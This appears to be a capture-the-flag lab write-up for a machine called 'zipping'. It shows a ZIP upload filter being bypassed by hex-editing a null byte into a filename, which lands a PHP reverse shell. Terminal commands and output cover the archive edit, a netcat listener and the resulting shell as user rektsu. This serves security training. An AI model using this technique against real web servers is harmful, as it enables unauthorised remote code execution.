Arbitrary File Upload with Nullbyte Injection
- The target web application supports a file upload feature at the endpoint;
/upload.php
- The endpoint takes a single ZIP archive with a PDF file in it. This is a requirement
- The web application EXTRACTS the uploaded file and saves the content to the
/uploads
directory with a sub-directory that is named after the MD5 hash of the uploaded file
i will be using the nullbnyte injection technique
-
to bypass the extension filter that looks for
.pdf
-
to save the payload as an executable by the web app;
.php
I have generated a PHP reverse shell and saved it to the
shell.phpX.pdf
file TheX
character is the place where a null byte character will be injected
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ zip shell.zip shell.phpX.pdf
adding: shell.phpX.pdf (deflated 72%)
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ 7z l shell.zip
7-zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs 11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz (806D1),ASM,AES-NI)
scanning the drive for archives:
1 file, 2760 bytes (3 KiB)
listing archive: shell.zip
--
Path = shell.zip
Type = zip
Physical Size = 2760
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-08-30 14:16:17 ..... 9286 2582 shell.phpX.pdf
------------------- ----- ------------ ------------ ------------------------
2023-08-30 14:16:17 9286 2582 1 files
Now archiving it to the shell.zip
file
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ hexeditor shell.zip
Using the hexeditor tool, to view/modify the content in the hexadecimal format
Ctrl+W
to search for text string
Searching for the string; phpX
There are 2 locations that contains the string;
shell.phpX.pdf
00000010
to00000020
00000A89
to00000A90
The first location is the file entry, which is referred from the central directory
The second location is part of the central directory
Therefore, modification must be made to the filename in the central directory
Replacing the character
X
with a null byte (\x00
)
Saving
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ 7z l shell.zip
7-zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,32 CPUs 11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz (806D1),ASM,AES-NI)
scanning the drive for archives:
1 file, 2760 bytes (3 KiB)
listing archive: shell.zip
--
Path = shell.zip
Type = zip
Physical Size = 2760
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-08-30 14:16:17 ..... 9286 2582 shell.php
------------------- ----- ------------ ------------ ------------------------
2023-08-30 14:16:17 9286 2582 1 files
Now checking the content of the archive shows, shell.php
, due to the injected null byte as it terminates the remaining
The web app will still see it as shell.phpX.pdf
though
Uploading
As shown above, the filename in the bottom(Central Directory) has been modified to
shell.php.pdf
It’s invisible here but a null byte is there
Upload complete
Notice the whitespace in the uploaded filename;
shell.php .pdf
That indicates that nullbyte injection was successful
Now, loading the uploaded file without the nullbyte and the rest (
.pdf
) would execute the content as the web application is written PHP
┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.229] 42054
socket: Shell has connected! PID: 10073
whoami
rektsu
hostname
zipping
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.229 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb9:5009 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb9:5009 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b9:50:09 txqueuelen 1000 (Ethernet)
RX packets 1432072 bytes 222645136 (222.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1458979 bytes 690845990 (690.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 35839 bytes 2645070 (2.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 35839 bytes 2645070 (2.6 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Initial Foothold established to the target system as the rektsu
user via Arbitrary File Upload with Nullbyte Injection